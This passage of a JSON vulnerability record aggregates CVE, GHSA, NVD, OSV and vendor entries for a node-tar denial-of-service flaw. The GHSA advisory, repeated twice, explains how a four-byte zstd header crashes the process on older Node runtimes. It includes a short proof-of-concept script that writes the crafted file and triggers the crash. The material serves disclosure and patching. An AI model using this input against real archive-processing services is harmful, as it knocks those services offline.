{"introduced":"0"}]}],"versions":["2.2.1-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.4.10+ds1-2","4.4.10+ds1-2ubuntu1","4.4.10+ds1-2ubuntu1+esm1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.1.7+~cs11.3.10-1","6.1.11+~cs11.3.10-1","6.1.11+ds1+~cs6.0.6-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.1.13+~cs7.0.5-1","6.1.13+~cs7.0.5-3"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1+ds1+~cs6.1.13-10","7.5.22+~4.0.1-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1+~cs7.0.8-1","6.2.1+ds1+~cs6.1.13-6","6.2.1+ds1+~cs6.1.13-7","6.2.1+ds1+~cs6.1.13-10"]}],"products":[{"vendor":"isaacs","product":"node-tar"}],"references":[{"url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-72fp-85cc-g945","tags":["x_refsource_CONFIRM","advisory","web","report"]},{"url":"https://github.com/isaacs/node-tar/commit/73b352e0010d6c99794ea7374800816a46d3bdb2","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/isaacs/node-tar/releases/tag/v8.0.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140241","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-72fp-85cc-g945","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/140xxx/CVE-2026-140241.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-140241","tags":["advisory"]},{"url":"https://scout.docker.com/v/DHI-s2uw-cw2a-cdr4-tutt","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-140241","tags":["advisory","report"]},{"url":"http://people.ubuntu.com/~ubuntu-security/cve/CVE-2026-140241","tags":["advisory"]},{"url":"https://github.com/isaacs/node-tar","tags":["package"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-140241","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-140241","title":"node-tar crashes the process with an uncaught exception on a 4-byte zstd magic header when the Node runtime lacks native zstd","description":"node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, node-tar fails to handle an exception when automatically detecting Zstandard (zstd) compression on Node.js runtimes without native zstd support. An attacker who can supply a specially crafted input file to the asynchronous file listing or extraction API can cause an uncaught exception that terminates the process, resulting in denial of service. This issue is fixed in version 8.0.0.","status":"published","published":"2026-12-01T17:39:51.722Z","modified":"2026-12-02T19:03:22.216Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-248","CWE-755"],"ssvc":{"exploitation":"none","automatable":"yes","technical_impact":"partial","date":"2026-12-02"},"updated_at":"2026-12-02T19:17:50.380771Z"}],"euvd":[{"id":"EUVD-2026-140447","description":"node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, node-tar fails to handle an exception when automatically detecting Zstandard (zstd) compression on Node.js runtimes without native zstd support. An attacker who can supply a specially crafted input file to the asynchronous file listing or extraction API can cause an uncaught exception that terminates the process, resulting in denial of service. This issue is fixed in version 8.0.0.","status":"published","published":"2026-12-01T17:39:51Z","modified":"2026-12-02T19:03:22Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-12-02T20:26:56.555732Z"}],"ghsa":[{"id":"GHSA-72fp-85cc-g945","title":"node-tar crashes the process with an uncaught exception on a 4-byte zstd magic header when the Node runtime lacks native zstd","description":"### Summary\nAn unauthenticated remote-input denial of service allows a four-byte file to crash any process that lists or extracts it with node-tar's asynchronous file API, on any Node runtime without native zlib zstd support (Node 18.x, 20.x, 21.x, 22.0-22.14, 23.0-23.7, all of which satisfy the package's declared `engines: node \u003e= 18`). node-tar's default-enabled compression sniffing detects the zstd magic (`28 b5 2f fd`) and constructs `new ZstdDecompress({})` with no error handling. On a runtime without the zstd binding, minizlib's constructor throws a `TypeError` synchronously inside the file-read stream's data callback, so the async `tar.t()` / `tar.x()` promise never settles and the exception is uncaught, killing the process.\n\n### Details\n`Parser.write()` sniffs the first bytes of every input and, on the zstd magic, constructs the decompressor unguarded:\n\n```ts\n// src/parse.ts:547-550\nthis[UNZIP] =\n  this[UNZIP] === undefined ? new Unzip({})\n  : isZstd ? new ZstdDecompress({})   // throws TypeError on a runtime without native zstd\n  : new BrotliDecompress({})\n```\n\n`minizlib`'s `ZlibBase` constructor throws `TypeError: Compression method not supported: ZstdDecompress` when `node:zlib` lacks the binding. Because this construction runs inside the file-read stream's `data` handler (`ReadStream.emit` -\u003e `Unpack.write` -\u003e `new ZstdDecompress`), the throw is not routed through the stream's `error` event or `Parser.abort()`. For the async file form (`tar.x({file})` / `tar.t({file})`), the throw escapes as an uncaught exception: the process dies, and a consumer's `try/catch` or `.catch()` cannot reach it because the returned promise never settles. `zlib.ZstdDecompress` was added in Node v23.8.0 and backported to v22.15.0; on those and later runtimes the class exists and the same 4-byte input is handled through the normal catchable error path instead.\n\n### PoC\nValidated on the published npm package `tar@7.5.22` (and source main @ 2a22bfc). Vulnerable runtime: Node v20.20.2 (`node -e \"console.log(typeof require('zlib').ZstdDecompress)\"` prints `undefined`). Non-vulnerable control: Node v24.19.0.\n\n```js\n// npm i tar@7.5.22 ; node poc.cjs   (run on Node 20)\nconst { x } = require('tar'); const fs = require('fs')\nfs.writeFileSync('/tmp/z4.tar', Buffer.from([0x28,0xb5,0x2f,0xfd,0x01,0x02,0x03,0x04]))\nfs.rmSync('/tmp/z-out',{recursive:true,force:true}); fs.mkdirSync('/tmp/z-out')\nlet uncaught = null, settled = 'NEVER'\nprocess.on('uncaughtException', e =\u003e uncaught = e.constructor.name + ': ' + e.message)\nx({ cwd:'/tmp/z-out', file:'/tmp/z4.tar' }).then(()=\u003esettled='RESOLVED').catch(()=\u003esettled='REJECTED')\nconst ka = setInterval(()=\u003e{},100)\nsetTimeout(()=\u003e{ clearInterval(ka); console.log('uncaught:', uncaught); console.log('settled:', settled); process.exit(0) }, 3000)\n```\n\nObserved on Node v20.20.2 (zstd undefined):\n```\nuncaught: TypeError: Compression method not supported: ZstdDecompress\nsettled:  NEVER\n```\nWithout the `uncaughtException` handler the process dies with the raw stack (frame: `at new ZstdDecompress ... at Unpack.write ... at FSReqCallback.wrapper [as oncomplete] (node:fs)`). On Node v24.19.0 the same file produces a clean catchable rejection (`TAR_ABORT` / `zlib: Dictionary mismatch`) and no crash. Synchronous mode and direct stream writes throw catchably from the caller's stack on all runtimes; only the async file API turns the throw into process death.\n\n### Impact\nAvailability-only denial of service via process crash. Four attacker-controlled bytes, with no tar structure, kill any pipeline on an affected Node runtime that lists or extracts an attacker-supplied archive through node-tar's async file API, including npm-style package installation and CI artifact processing. The impact is conditional on the Node version: it is present on Node 18.x, 20.x, 21.x, 22.0-22.14, and 23.0-23.7 (Node 20 is an Active LTS line in wide production use) and inert on Node 22.15+ / 23.8+ / 24+. Unauthenticated, remote, no user interaction.","status":"published","published":"2026-12-02T01:15:55Z","modified":"2026-12-02T01:15:57Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-248","CWE-755"],"updated_at":"2026-12-02T01:33:47.890049Z"}],"nvd":[{"id":"CVE-2026-140241","description":"node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, node-tar fails to handle an exception when automatically detecting Zstandard (zstd) compression on Node.js runtimes without native zstd support. An attacker who can supply a specially crafted input file to the asynchronous file listing or extraction API can cause an uncaught exception that terminates the process, resulting in denial of service. This issue is fixed in version 8.0.0.","status":"published","published":"2026-12-01T18:17:28.147Z","modified":"2026-12-02T20:20:37.563Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-248","CWE-755"],"ssvc":{"exploitation":"none","automatable":"yes","technical_impact":"partial","date":"2026-12-02"},"updated_at":"2026-12-02T20:26:13.686818Z"}],"osv":[{"id":"CVE-2026-140241","title":"node-tar crashes the process with an uncaught exception on a 4-byte zstd magic header when the Node runtime lacks native zstd","description":"node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, node-tar fails to handle an exception when automatically detecting Zstandard (zstd) compression on Node.js runtimes without native zstd support. An attacker who can supply a specially crafted input file to the asynchronous file listing or extraction API can cause an uncaught exception that terminates the process, resulting in denial of service. This issue is fixed in version 8.0.0.","status":"published","published":"2026-12-01T17:39:51.722Z","modified":"2026-12-03T20:45:52.487108581Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-248","CWE-755"],"updated_at":"2026-12-02T21:28:42.350468Z"},{"id":"DEBIAN-CVE-2026-140241","upstream":["CVE-2026-140241"],"description":"node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, node-tar fails to handle an exception when automatically detecting Zstandard (zstd) compression on Node.js runtimes without native zstd support. An attacker who can supply a specially crafted input file to the asynchronous file listing or extraction API can cause an uncaught exception that terminates the process, resulting in denial of service. This issue is fixed in version 8.0.0.","status":"published","published":"2026-12-01T18:17:28.147Z","modified":"2026-12-03T10:00:13.065050699Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-12-03T10:18:16.589039Z"},{"id":"DHI-s2uw-cw2a-cdr4-tutt","upstream":["CVE-2026-140241"],"title":"node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, node-tar fails to handle an…","description":"node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, node-tar fails to handle an exception when automatically detecting Zstandard (zstd) compression on Node.js runtimes without native zstd support. An attacker who can supply a specially crafted input file to the asynchronous file listing or extraction API can cause an uncaught exception that terminates the process, resulting in denial of service. This issue is fixed in version 8.0.0.","status":"published","published":"2026-12-02T04:50:20Z","modified":"2026-12-05T01:15:33.446685383Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-12-05T01:40:46.291583Z"},{"id":"GHSA-72fp-85cc-g945","title":"node-tar crashes the process with an uncaught exception on a 4-byte zstd magic header when the Node runtime lacks native zstd","description":"### Summary\nAn unauthenticated remote-input denial of service allows a four-byte file to crash any process that lists or extracts it with node-tar's asynchronous file API, on any Node runtime without native zlib zstd support (Node 18.x, 20.x, 21.x, 22.0-22.14, 23.0-23.7, all of which satisfy the package's declared `engines: node \u003e= 18`). node-tar's default-enabled compression sniffing detects the zstd magic (`28 b5 2f fd`) and constructs `new ZstdDecompress({})` with no error handling. On a runtime without the zstd binding, minizlib's constructor throws a `TypeError` synchronously inside the file-read stream's data callback, so the async `tar.t()` / `tar.x()` promise never settles and the exception is uncaught, killing the process.\n\n### Details\n`Parser.write()` sniffs the first bytes of every input and, on the zstd magic, constructs the decompressor unguarded:\n\n```ts\n// src/parse.ts:547-550\nthis[UNZIP] =\n  this[UNZIP] === undefined ? new Unzip({})\n  : isZstd ? new ZstdDecompress({})   // throws TypeError on a runtime without native zstd\n  : new BrotliDecompress({})\n```\n\n`minizlib`'s `ZlibBase` constructor throws `TypeError: Compression method not supported: ZstdDecompress` when `node:zlib` lacks the binding. Because this construction runs inside the file-read stream's `data` handler (`ReadStream.emit` -\u003e `Unpack.write` -\u003e `new ZstdDecompress`), the throw is not routed through the stream's `error` event or `Parser.abort()`. For the async file form (`tar.x({file})` / `tar.t({file})`), the throw escapes as an uncaught exception: the process dies, and a consumer's `try/catch` or `.catch()` cannot reach it because the returned promise never settles. `zlib.ZstdDecompress` was added in Node v23.8.0 and backported to v22.15.0; on those and later runtimes the class exists and the same 4-byte input is handled through the normal catchable error path instead.\n\n### PoC\nValidated on the published npm package `tar@7.5.22` (and source main @ 2a22bfc). Vulnerable runtime: Node v20.20.2 (`node -e \"console.log(typeof require('zlib').ZstdDecompress)\"` prints `undefined`). Non-vulnerable control: Node v24.19.0.\n\n```js\n// npm i tar@7.5.22 ; node poc.cjs   (run on Node 20)\nconst { x } = require('tar'); const fs = require('fs')\nfs.writeFileSync('/tmp/z4.tar', Buffer.from([0x28,0xb5,0x2f,0xfd,0x01,0x02,0x03,0x04]))\nfs.rmSync('/tmp/z-out',{recursive:true,force:true}); fs.mkdirSync('/tmp/z-out')\nlet uncaught = null, settled = 'NEVER'\nprocess.on('uncaughtException', e =\u003e uncaught = e.constructor.name + ': ' + e.message)\nx({ cwd:'/tmp/z-out', file:'/tmp/z4.tar' }).then(()=\u003esettled='RESOLVED').catch(()=\u003esettled='REJECTED')\nconst ka = setInterval(()=\u003e{},100)\nsetTimeout(()=\u003e{ clearInterval(ka); console.log('uncaught:', uncaught); console.log('settled:', settled); process.exit(0) }, 3000)\n```\n\nObserved on Node v20.20.2 (zstd undefined):\n```\nuncaught: TypeError: Compression method not supported: ZstdDecompress\nsettled:  NEVER\n```\nWithout the `uncaughtException` handler the process dies with the raw stack (frame: `at new ZstdDecompress ... at Unpack.write ... at FSReqCallback.wrapper [as oncomplete] (node:fs)`). On Node v24.19.0 the same file produces a clean catchable rejection (`TAR_ABORT` / `zlib: Dictionary mismatch`) and no crash. Synchronous mode and direct stream writes throw catchably from the caller's stack on all runtimes; only the async file API turns the throw into process death.\n\n### Impact\nAvailability-only denial of service via process crash. Four attacker-controlled bytes, with no tar structure, kill any pipeline on an affected Node runtime that lists or extracts an attacker-supplied archive through node-tar's async file API, including npm-style package installation and CI artifact processing. The impact is conditional on the Node version: it is present on Node 18.x, 20.x, 21.x, 22.0-22.14, and 23.0-23.7 (Node 20 is an Active LTS line in wide production use) and inert on Node 22.15+ / 23.8+ / 24+. Unauthenticated, remote, no user interaction.","status":"published","published":"2026-12-02T01:15:55Z","modified":"2026-12-02T01:45:49.560272768Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-248","CWE-755"],"updated_at":"2026-12-02T02:21:19.99336Z"},{"id":"CLSA-2026-1796209074","upstream":["CVE-2026-140118","CVE-2026-140119","CVE-2026-140230","CVE-2026-140232","CVE-2026-140233","CVE-2026-140234","CVE-2026-140235","CVE-2026-140236","CVE-2026-140237","CVE-2026-140238","CVE-2026-140239","CVE-2026-140240","CVE-2026-140241","CVE-2026-140242","CVE-2026-140243","CVE-2026-140244","CVE-2026-140245","CVE-2026-140246","CVE-2026-140247","CVE-2026-140248","CVE-2026-140249","CVE-2026-140250","CVE-2026-140251","CVE-2026-140252"],"title":"TuxCare security update for tar (24 CVEs)","description":"TuxCare rebuilt tar to address 24 CVEs. Fixed in 7.5.22-tuxcare.1.","status":"published","published":"2026-12-02T11:57:55Z","modified":"2026-12-04T19:45:08.891791393Z","updated_at":"2026-12-04T19:54:00.725358Z"},{"id":"CLSA-2026-1796224850","upstream":["CVE-2026-140118","CVE-2026-140119","CVE-2026-140230","CVE-2026-140232","CVE-2026-140233","CVE-2026-140234","CVE-2026-140235","CVE-2026-140236","CVE-2026-140237","CVE-2026-140238","CVE-2026-140239","CVE-2026-140240","CVE-2026-140241","CVE-2026-140242","CVE-2026-140243","CVE-2026-140244","CVE-2026-140245","CVE-2026-140246","CVE-2026-140247","CVE-2026-140248","CVE-2026-140249","CVE-2026-140250","CVE-2026-140251","CVE-2026-140252"],"title":"TuxCare security update for tar (24 CVEs)","description":"TuxCare rebuilt tar to address 24 CVEs. Fixed in 7.5.21-tuxcare.1.","status":"published","published":"2026-12-02T16:20:50Z","modified":"2026-12-02T21:45:15.760690069Z","updated_at":"2026-12-02T21:59:47.494138Z"},{"id":"CLSA-2026-1796225921","upstream":["CVE-2026-140118","CVE-2026-140119","CVE-2026-140230","CVE-2026-140240","CVE-2026-140241","CVE-2026-140251","CVE-2026-140252"],"title":"TuxCare security update for tar (7 CVEs)","description":"TuxCare rebuilt tar to address 7 CVEs. Fixed in 7.5.18-tuxcare.2.","status":"published","published":"2026-12-02T16:38:42Z","modified":"2026-12-03T20:00:07.478475025Z","updated_at":"2026-12-03T20:05:53.476744Z"},{"id":"CLSA-2026-1796291167","upstream":["CVE-2026-140118","CVE-2026-140119","CVE-2026-140230","CVE-2026-140241","CVE-2026-140251","CVE-2026-140252","CVE-2026-59873","CVE-2026-73566"],"title":"TuxCare security update for tar (8 CVEs)","description":"TuxCare rebuilt tar to address 8 CVEs. Fixed in 7.5.17-tuxcare.2.","status":"published","published":"2026-12-03T10:46:07Z","modified":"2026-12-03T12:15:06.749345246Z","updated_at":"2026-12-03T12:23:46.433517Z"},{"id":"CLSA-2026-1796295995","upstream":["CVE-2026-140118","CVE-2026-140119","CVE-2026-140230","CVE-2026-140241","CVE-2026-140251","CVE-2026-140252"],"title":"TuxCare security update for tar (6 CVEs)","description":"TuxCare rebuilt tar to address 6 CVEs. Fixed in 7.5.7-tuxcare.3.","status":"published","published":"2026-12-03T12:06:36Z","modified":"2026-12-03T20:00:09.687284621Z","updated_at":"2026-12-03T20:05:53.476744Z"},{"id":"CLSA-2026-1796373564","upstream":["CVE-2026-140118","CVE-2026-140119","CVE-2026-140230","CVE-2026-140231","CVE-2026-140233","CVE-2026-140234","CVE-2026-140235","CVE-2026-140236","CVE-2026-140237","CVE-2026-140238","CVE-2026-140239","CVE-2026-140240","CVE-2026-140241","CVE-2026-140243","CVE-2026-140244","CVE-2026-140245","CVE-2026-140246","CVE-2026-140247","CVE-2026-140250","CVE-2026-140251","CVE-2026-140252"],"title":"TuxCare security update for tar (21 CVEs)","description":"TuxCare rebuilt tar to address 21 CVEs. Fixed in 7.5.24-tuxcare.1.","status":"published","published":"2026-12-04T09:39:25Z","modified":"2026-12-04T13:30:02.177729071Z","updated_at":"2026-12-04T13:43:00.820404Z"},{"id":"UBUNTU-CVE-2026-140241","upstream":["CVE-2026-140241"],"description":"(node-tar is a tar archive manipulation library for Node.js. From 7.5.2 ...)","status":"published","published":"2026-12-02T00:00:00Z","modified":"2026-12-03T20:48:20.986339761Z","updated_at":"2026-12-03T21:13:04.052985Z"}]}}
